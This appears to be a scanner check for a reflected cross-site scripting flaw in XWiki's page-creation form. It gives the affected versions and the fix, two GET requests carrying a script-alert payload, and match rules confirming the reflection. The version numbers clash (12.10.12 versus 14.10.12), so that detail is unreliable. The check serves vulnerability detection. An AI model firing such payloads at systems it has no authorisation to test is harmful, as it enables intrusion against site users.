Readycheck to confirm it

XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. When document names are validated according to a name strategy (disabled by default), XWiki starting in version 12.0-rc-1 and prior to versions 12.10.12 and 15.5-rc-1 is vulnerable to a reflected cross-site scripting attack in the page creation form. This allows an attacker to execute arbitrary actions with the rights of the user opening the malicious link.

Impact

Successful exploitation could lead to cross-site scripting attack.

Fix

This has been patched in XWiki 14.10.12 and 15.5-rc-1 by adding appropriate escaping.

How to confirm it

Send: GET {{BaseURL}}/bin/create/Main/%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E ; GET {{BaseURL}}/xwiki/bin/create/Main/%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains_all(body, "<script>alert(document.domain)</script>", "data-xwiki-reference") and contains(header, "text/html") and status_code == 200
